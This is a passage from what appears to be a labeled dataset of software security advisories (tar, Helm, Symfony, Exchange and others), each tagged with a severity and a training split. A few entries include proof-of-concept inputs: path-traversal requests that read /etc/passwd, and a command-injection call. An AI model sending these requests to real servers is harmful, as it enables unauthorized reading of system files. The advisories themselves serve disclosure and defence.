5.0.7 || 6.1.2\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom `filter` method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-03", "split": "train"}
-{"id": "2656a1306120317a9a47", "text": "Identity Spoofing in libp2p-secio\n\n## Recommendation\n\nUpdate to version 0.9.0 or later.", "text_raw": "Identity Spoofing in libp2p-secio\n\n[Severity: CRITICAL]\n\nAffected versions of `libp2p-secio` does not correctly verify that the `PeerId` of `DstPeer` matches the `PeerId` discovered in the crypto handshake, resulting in a high severity identity spoofing vulnerability. \n\n\n## Recommendation\n\nUpdate to version 0.9.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "8e74ff29f35d7ad1ca1f", "text": "Improper Neutralization of Special Elements in Output in helm.sh/helm/v3\n\nSince Helm 2 was released, a well-documented aspect of Helm is that the Helm chart's version number MUST follow the SemVer2 specification. In the past, Helm would not permit charts with malformed versions. At some point, a patch was merged that changed this - On a version parse error, the version number was simply passed along as-is. This provided a vector for malicious data to be injected into Helm and potentially used in various ways.\n\nCore maintainers were able to send deceptive information to a terminal screen running the `helm` command, as well as obscure or alter information on the screen. In some cases, we could send codes that terminals used to execute higher-order logic, like clearing a terminal screen.\n\nFurther, during evaluation, the Helm maintainers discovered a few other fields that were not properly sanitized when read out of repository index files. This fix remedies all such cases, and once again enforces SemVer2 policies on version fields.\n\nAll users of the Helm 3 should upgrade.\n\nThose who use Helm as a library should verify that they either sanitize this data on their own, or use the proper Helm API calls to sanitize the data.\n\n### Patches\nThis issue has been resolved in Helm 3.5.2.\n\nWhile this fix does not constitute a breaking change, as all field formatting is now enforced as documented, it is possible that charts that were mistakenly allowed (but invalid) may no longer be available in search indexes. Specifically, **malformed SemVer versions are no longer supported**. This has always been the documented case, but it is true that malformed versions were allowed.\n\nNote that this is the first security release since Helm 2's final deprecation. Helm 2 was not audited for vulnerability to this issue, and should be assumed vulnerable.", "text_raw": "Improper Neutralization of Special Elements in Output in helm.sh/helm/v3\n\n[Severity: MEDIUM]\n\n\nSince Helm 2 was released, a well-documented aspect of Helm is that the Helm chart's version number MUST follow the SemVer2 specification. In the past, Helm would not permit charts with malformed versions. At some point, a patch was merged that changed this - On a version parse error, the version number was simply passed along as-is. This provided a vector for malicious data to be injected into Helm and potentially used in various ways.\n\nCore maintainers were able to send deceptive information to a terminal screen running the `helm` command, as well as obscure or alter information on the screen. In some cases, we could send codes that terminals used to execute higher-order logic, like clearing a terminal screen.\n\nFurther, during evaluation, the Helm maintainers discovered a few other fields that were not properly sanitized when read out of repository index files. This fix remedies all such cases, and once again enforces SemVer2 policies on version fields.\n\nAll users of the Helm 3 should upgrade.\n\nThose who use Helm as a library should verify that they either sanitize this data on their own, or use the proper Helm API calls to sanitize the data.\n\n### Patches\nThis issue has been resolved in Helm 3.5.2.\n\nWhile this fix does not constitute a breaking change, as all field formatting is now enforced as documented, it is possible that charts that were mistakenly allowed (but invalid) may no longer be available in search indexes. Specifically, **malformed SemVer versions are no longer supported**. This has always been the documented case, but it is true that malformed versions were allowed.\n\nNote that this is the first security release since Helm 2's final deprecation. Helm 2 was not audited for vulnerability to this issue, and should be assumed vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "53da6b4e32982e8fcd74", "text": "Directory Traversal in @vivaxy/here\n\nThe @vivaxy/here module is a small web server that serves files with the process' working directory acting as the web root.\n\nIt is vulnerable to a directory traversal attack.\n\nThis means that files on the local file system which exist outside of the web root may be disclosed to an attacker. This might include confidential files.\n\nMitigating Factors:\nIf the node process is run as a user with very limited filesystem permissions, there is significantly less risk of exposing confidential/private information.\n\nProof of Concept:\n```\ncurl \"http://${SERVER_IP}:${SERVER_PORT}/..%2f..%2fetc/passwd\"\n```\n\n## Recommendation\n\nRun `npm i @vivaxy/here` to install the latest version that addresses this vulnerability.", "text_raw": "Directory Traversal in @vivaxy/here\n\n[Severity: HIGH]\n\nThe @vivaxy/here module is a small web server that serves files with the process' working directory acting as the web root.\n\nIt is vulnerable to a directory traversal attack. \n\nThis means that files on the local file system which exist outside of the web root may be disclosed to an attacker. This might include confidential files.\n\nMitigating Factors:\nIf the node process is run as a user with very limited filesystem permissions, there is significantly less risk of exposing confidential/private information.\n\n\nProof of Concept:\n```\ncurl \"http://${SERVER_IP}:${SERVER_PORT}/..%2f..%2fetc/passwd\"\n```\n\n\n## Recommendation\n\nRun `npm i @vivaxy/here` to install the latest version that addresses this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "88f66e2fd9f48fba329a", "text": "Integer Overflow in go-jose\n\ngo-jose before 1.0.5 suffers from a CBC-HMAC integer overflow on 32-bit architectures. An integer overflow could lead to authentication bypass for CBC-HMAC encrypted ciphertexts on 32-bit architectures.", "text_raw": "Integer Overflow in go-jose\n\n[Severity: HIGH]\n\ngo-jose before 1.0.5 suffers from a CBC-HMAC integer overflow on 32-bit architectures. An integer overflow could lead to authentication bypass for CBC-HMAC encrypted ciphertexts on 32-bit architectures.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "2195cf155b8fe123fa9d", "text": "Deserialization of untrusted data in Symfony\n\nIn Symfony before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, it is possible to cache objects that may contain bad user input. On serialization or unserialization, this could result in the deletion of files that the current user has access to. This is related to symfony/cache and symfony/phpunit-bridge.", "text_raw": "Deserialization of untrusted data in Symfony\n\n[Severity: HIGH]\n\nIn Symfony before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, it is possible to cache objects that may contain bad user input. On serialization or unserialization, this could result in the deletion of files that the current user has access to. This is related to symfony/cache and symfony/phpunit-bridge.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
-{"id": "4309fe471cfa936e0b97", "text": "Malicious Package in bitconid-rpc\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitconid-rpc\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "96286b9dd609592c64b5", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "399e27ad3938ddfc9fc9", "text": "Apache Tomcat Open Redirect vulnerability\n\nWhen the default servlet in Apache Tomcat versions 9.0.0.M1 to 9.0.11, 8.5.0 to 8.5.33 and 7.0.23 to 7.0.90 returned a redirect to a directory (e.g. redirecting to '/foo/' when the user requested '/foo') a specially crafted URL could be used to cause the redirect to be generated to any URI of the attackers choice.", "text_raw": "Apache Tomcat Open Redirect vulnerability\n\n[Severity: MEDIUM]\n\nWhen the default servlet in Apache Tomcat versions 9.0.0.M1 to 9.0.11, 8.5.0 to 8.5.33 and 7.0.23 to 7.0.90 returned a redirect to a directory (e.g. redirecting to '/foo/' when the user requested '/foo') a specially crafted URL could be used to cause the redirect to be generated to any URI of the attackers choice.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "6e37cb9dd16bdf86eedd", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.6.7.5 and from 2.7.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.6.7.5 and from 2.7.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "35661bad7a3778101e79", "text": "Memory Exposure in bl\n\nVersions of `bl` before 0.9.5 and 1.0.1 are vulnerable to memory exposure.\n\n`bl.append(number)` in the affected `bl` versions passes a number to Buffer constructor, appending a chunk of uninitialized memory\n\n## Recommendation\n\nUpdate to version 0.9.5, 1.0.1 or later.", "text_raw": "Memory Exposure in bl\n\n[Severity: MEDIUM]\n\nVersions of `bl` before 0.9.5 and 1.0.1 are vulnerable to memory exposure.\n\n`bl.append(number)` in the affected `bl` versions passes a number to Buffer constructor, appending a chunk of uninitialized memory\n\n\n## Recommendation\n\nUpdate to version 0.9.5, 1.0.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "f48e7bb60467f4783537", "text": "Ciborg gem for Ruby allows local users to write files and gain privileges via Symlink\n\nThere is a /tmp file race condition in `chef/travis-cookbooks/ci_environment/perlbrew/recipes/default.rb` in the ciborg gem 3.0.0 when creating `/tmp/perlbrew-installer`. If a malicious local user creates the file first they can overwrite the contents with their own code executing it as the ciborg process owner.", "text_raw": "Ciborg gem for Ruby allows local users to write files and gain privileges via Symlink\n\n[Severity: MEDIUM]\n\nThere is a /tmp file race condition in `chef/travis-cookbooks/ci_environment/perlbrew/recipes/default.rb` in the ciborg gem 3.0.0 when creating `/tmp/perlbrew-installer`. If a malicious local user creates the file first they can overwrite the contents with their own code executing it as the ciborg process owner.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "716205e482635cc91809", "text": "TVT NVMS-1000 Directory Traversal Vulnerability\n\nAffected: TVT NVMS-1000\n\nTVT devices utilizing NVMS-1000 software contain a directory traversal vulnerability via GET /.. requests.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "TVT NVMS-1000 Directory Traversal Vulnerability\n\nAffected: TVT NVMS-1000\n\nTVT devices utilizing NVMS-1000 software contain a directory traversal vulnerability via GET /.. requests.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "cba8f8751f7d97db8e78", "text": "Authorization Bypass in graphql-shield\n\nVersions of `graphql-shield` prior to 6.0.6 are vulnerable to an Authorization Bypass. The rule caching option `no_cache` relies on keys generated by cryptographically insecure functions, which may cause rules to be incorrectly cached. This allows attackers to access information they should not have access to in case of a key collision.\n\n## Recommendation\n\nUpgrade to version 6.0.6 or later.", "text_raw": "Authorization Bypass in graphql-shield\n\n[Severity: LOW]\n\nVersions of `graphql-shield` prior to 6.0.6 are vulnerable to an Authorization Bypass. The rule caching option `no_cache` relies on keys generated by cryptographically insecure functions, which may cause rules to be incorrectly cached. This allows attackers to access information they should not have access to in case of a key collision.\n\n\n## Recommendation\n\nUpgrade to version 6.0.6 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e5c3880a057741db7bad", "text": "Directory Traversal in liyujing\n\nAffected versions of `liyujing` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in liyujing\n\n[Severity: HIGH]\n\nAffected versions of `liyujing` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "962240fdef8f8fc4a4ca", "text": "Layout XML Arbitrary Code Fix\n\n### Impact\nLayout XML enabled admin users to execute arbitrary commands via block methods.", "text_raw": "Layout XML Arbitrary Code Fix \n\n[Severity: HIGH]\n\n### Impact\nLayout XML enabled admin users to execute arbitrary commands via block methods.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "2156b29f494d65bee4db", "text": "Cross-Site Scripting in swagger-ui\n\nVersions of `swagger-ui` prior to 3.0.13 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize YAML files imported from URLs or copied-pasted. This may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 3.0.13 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 3.0.13 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize YAML files imported from URLs or copied-pasted. This may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 3.0.13 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "273704ef921524914388", "text": "Cross-site scripting in Shopizer\n\nA reflected cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the ref parameter to a page about an arbitrary product, e.g., a product/insert-product-name-here.html/ref= URL.", "text_raw": "Cross-site scripting in Shopizer\n\n[Severity: MEDIUM]\n\nA reflected cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the ref parameter to a page about an arbitrary product, e.g., a product/insert-product-name-here.html/ref= URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "4474ba58aeddb3e1864f", "text": "Counter overflow in chacha20\n\nAn issue was discovered in the chacha20 crate before 0.2.3 for Rust. A ChaCha20 counter overflow makes it easier for attackers to determine plaintext.", "text_raw": "Counter overflow in chacha20\n\n[Severity: HIGH]\n\nAn issue was discovered in the chacha20 crate before 0.2.3 for Rust. A ChaCha20 counter overflow makes it easier for attackers to determine plaintext.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "741fe5601a96d9a11323", "text": "Apache Ranger allows remote authenticated administrators to inject arbitrary web script or HTML\n\nCross-site scripting (XSS) vulnerability in the create user functionality in the policy admin tool in Apache Ranger before 0.6.1 allows remote authenticated administrators to inject arbitrary web script or HTML via vectors related to policies.", "text_raw": "Apache Ranger allows remote authenticated administrators to inject arbitrary web script or HTML\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the create user functionality in the policy admin tool in Apache Ranger before 0.6.1 allows remote authenticated administrators to inject arbitrary web script or HTML via vectors related to policies.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "78912c481944158668a7", "text": "m-server Vulnerable to Directory Traversal\n\nPath Traversal vulnerability in module m-server <1.4.1 allows malicious user to access unauthorized content of any file in the directory tree e.g. /etc/passwd by appending slashes to the URL request.", "text_raw": "m-server Vulnerable to Directory Traversal\n\n[Severity: MEDIUM]\n\nPath Traversal vulnerability in module m-server <1.4.1 allows malicious user to access unauthorized content of any file in the directory tree e.g. /etc/passwd by appending slashes to the URL request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "392825a41385cd0fa7bf", "text": "Double Free in Adplug\n\nAdPlug 2.3.1 has a double free in the `Cu6mPlayer` class in `u6m.h`.", "text_raw": "Double Free in Adplug\n\n[Severity: CRITICAL]\n\nAdPlug 2.3.1 has a double free in the `Cu6mPlayer` class in `u6m.h`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "29f9b6bd2c4b72626a99", "text": "11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability", "text_raw": "11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-08", "split": "train"}
-{"id": "ea67fb395d2727b62502", "text": "typed-ast Out-of-bounds Read\n\ntyped_ast 1.3.0 and 1.3.1 has an ast_for_arguments out-of-bounds read. An attacker with the ability to cause a Python interpreter to parse Python source (but not necessarily execute it) may be able to crash the interpreter process. This could be a concern, for example, in a web-based service that parses (but does not execute) Python code. (This issue also affected certain Python 3.8.0-alpha prereleases.)", "text_raw": "typed-ast Out-of-bounds Read\n\n[Severity: HIGH]\n\ntyped_ast 1.3.0 and 1.3.1 has an ast_for_arguments out-of-bounds read. An attacker with the ability to cause a Python interpreter to parse Python source (but not necessarily execute it) may be able to crash the interpreter process. This could be a concern, for example, in a web-based service that parses (but does not execute) Python code. (This issue also affected certain Python 3.8.0-alpha prereleases.)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "d126ac31e334776c4991", "text": "Spring Framework allows applications to expose STOMP over WebSocket endpoints\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.16 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack.", "text_raw": "Spring Framework allows applications to expose STOMP over WebSocket endpoints\n\n[Severity: CRITICAL]\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.16 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "1f4b37f8202c5df457a5", "text": "Duplicate Advisory: Session Fixation\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-h9q8-5gv2-v6mg. This link is maintained to preserve external references.\n\n## Original Description\nShopware is an open source eCommerce platform. Potential session hijacking of store customers in versions below 6.3.5.2. We recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "text_raw": "Duplicate Advisory: Session Fixation\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-h9q8-5gv2-v6mg. This link is maintained to preserve external references.\n\n## Original Description\nShopware is an open source eCommerce platform. Potential session hijacking of store customers in versions below 6.3.5.2. We recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "1ea809721c140639cf58", "text": "Code backdoor in simple_captcha2\n\nThe simple_captcha2 gem 0.2.3 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.", "text_raw": "Code backdoor in simple_captcha2\n\n[Severity: CRITICAL]\n\nThe simple_captcha2 gem 0.2.3 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "8454a9a38a8cf455b321", "text": "Insufficient Entropy in Spring Security\n\nSpring Security versions 5.3.x prior to 5.3.2, 5.2.x prior to 5.2.4, 5.1.x prior to 5.1.10, 5.0.x prior to 5.0.16 and 4.2.x prior to 4.2.16 use a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.", "text_raw": "Insufficient Entropy in Spring Security\n\n[Severity: MEDIUM]\n\nSpring Security versions 5.3.x prior to 5.3.2, 5.2.x prior to 5.2.4, 5.1.x prior to 5.1.10, 5.0.x prior to 5.0.16 and 4.2.x prior to 4.2.16 use a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "ed8f43a94abe8ce150f3", "text": "DBAL 3 SQL Injection Security Vulnerability\n\nWe have released a new version Doctrine DBAL 3.1.4 that fixes a critical SQL injection vulnerability in the LIMIT clause generation API provided by the Platform abstraction.\n\nWe advise everyone using Doctrine DBAL 3.0.0 up to 3.1.3 to upgrade to 3.1.4 immediately.\n\nThe vulnerability can happen when unsanitized input is passed to many APIs in Doctrine DBAL and ORM that ultimately end up calling `AbstractPlatform::modifyLimitQuery`.\n\nAs a workaround you can cast all limit and offset parameters to integers before passing them to Doctrine APIs.\n\nThis vulnerability has been assigned [CVE-2021-43608](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43608).", "text_raw": "DBAL 3 SQL Injection Security Vulnerability\n\n[Severity: CRITICAL]\n\nWe have released a new version Doctrine DBAL 3.1.4 that fixes a critical SQL injection vulnerability in the LIMIT clause generation API provided by the Platform abstraction.\n\nWe advise everyone using Doctrine DBAL 3.0.0 up to 3.1.3 to upgrade to 3.1.4 immediately.\n\nThe vulnerability can happen when unsanitized input is passed to many APIs in Doctrine DBAL and ORM that ultimately end up calling `AbstractPlatform::modifyLimitQuery`. \n\nAs a workaround you can cast all limit and offset parameters to integers before passing them to Doctrine APIs.\n\nThis vulnerability has been assigned [CVE-2021-43608](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43608).\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "ddf295959f5f474463ec", "text": "Cross Site Scripting (XSS) in XWiki\n\nXWiki 12.10.2 allows XSS via an SVG document to the upload feature of the comment section.", "text_raw": "Cross Site Scripting (XSS) in XWiki\n\n[Severity: MEDIUM]\n\nXWiki 12.10.2 allows XSS via an SVG document to the upload feature of the comment section.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "89fd3242209f172eba7a", "text": "NASA Tri-Agency Climate Education (TrACE) v1.0 SQL Injection Vulnerability", "text_raw": "NASA Tri-Agency Climate Education (TrACE) v1.0 SQL Injection Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-10-26", "split": "train"}
-{"id": "98985eec4cef4cdf814c", "text": "com.fasterxml.jackson.core:jackson-databind vulnerable to Deserialization of Untrusted Data\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the jboss-common-core class from polymorphic deserialization.", "text_raw": "com.fasterxml.jackson.core:jackson-databind vulnerable to Deserialization of Untrusted Data\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the jboss-common-core class from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "fb21da4f51a47306e085", "text": "Sint Wind PI v01.26.19 Authentication Bypass", "text_raw": "Sint Wind PI v01.26.19 Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-06-05", "split": "train"}
-{"id": "6aae43bdff0224162d14", "text": "OS Command Injection in ssh2\n\nssh2 is client and server modules written in pure JavaScript for node.js. In ssh2 before version 1.4.0 there is a command injection vulnerability. The issue only exists on Windows. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. This is fixed in version 1.4.0.", "text_raw": "OS Command Injection in ssh2\n\n[Severity: HIGH]\n\nssh2 is client and server modules written in pure JavaScript for node.js. In ssh2 before version 1.4.0 there is a command injection vulnerability. The issue only exists on Windows. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. This is fixed in version 1.4.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-21", "split": "train"}
-{"id": "d49f7e5414cc74d648ed", "text": "Command Injection in nuance-gulp-build-common\n\nAll versions of package nuance-gulp-build-common are vulnerable to Command Injection via the index.js file.\n\n**PoC:** \n```js\nvar a = require(\"nuance-gulp-build-common\")\na.run(\"touch JHU\")\n```", "text_raw": "Command Injection in nuance-gulp-build-common\n\n[Severity: CRITICAL]\n\nAll versions of package nuance-gulp-build-common are vulnerable to Command Injection via the index.js file.\n\n**PoC:** \n```js\nvar a = require(\"nuance-gulp-build-common\")\na.run(\"touch JHU\")\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "b35e5a0065e22f956d11", "text": "B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin", "text_raw": "B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-09-19", "split": "train"}
-{"id": "b2603d8da1ff81a9d7c1", "text": "Downloads Resources over HTTP in haxe\n\nAffected versions of `haxe` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe`.\n\n## Recommendation\n\nUpdate to version 5.0.10 or later.", "text_raw": "Downloads Resources over HTTP in haxe\n\n[Severity: HIGH]\n\nAffected versions of `haxe` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe`.\n\n\n## Recommendation\n\nUpdate to version 5.0.10 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "fe7955a11a11364a8614", "text": "Validity check missing in Frontier\n\n### Impact\n\nIn the newly introduced signed Frontier-specific extrinsic for `pallet-ethereum`, a large part of transaction validation logic was only called in transaction pool validation, but not in block execution. Malicious validators can take advantage of this to put invalid transactions into a block.\n\nThe attack is limited in that the signature is always validated, and the majority of the validation is done again in the subsequent `pallet-evm` execution logic. However, do note that a chain ID replay attack was possible. In addition, spamming attacks are of main concerns, while they are limited by Substrate block size limits and other factors.\n\n### Patches\n\nThe issue is patched in commit 146bb48849e5393004be5c88beefe76fdf009aba.\n\n### References\n\nPatch PR: https://github.com/paritytech/frontier/pull/495\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Frontier repo](https://github.com/paritytech/frontier/issues)\n\n### Special thanks\n\nSpecial thanks to @librelois, @nanocryk and the Moonbeam team for reporting and fixing this security vulnerability.", "text_raw": "Validity check missing in Frontier\n\n[Severity: MEDIUM]\n\n### Impact\n\nIn the newly introduced signed Frontier-specific extrinsic for `pallet-ethereum`, a large part of transaction validation logic was only called in transaction pool validation, but not in block execution. Malicious validators can take advantage of this to put invalid transactions into a block.\n\nThe attack is limited in that the signature is always validated, and the majority of the validation is done again in the subsequent `pallet-evm` execution logic. However, do note that a chain ID replay attack was possible. In addition, spamming attacks are of main concerns, while they are limited by Substrate block size limits and other factors.\n\n### Patches\n\nThe issue is patched in commit 146bb48849e5393004be5c88beefe76fdf009aba.\n\n### References\n\nPatch PR: https://github.com/paritytech/frontier/pull/495\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Frontier repo](https://github.com/paritytech/frontier/issues)\n\n### Special thanks\n\nSpecial thanks to @librelois, @nanocryk and the Moonbeam team for reporting and fixing this security vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
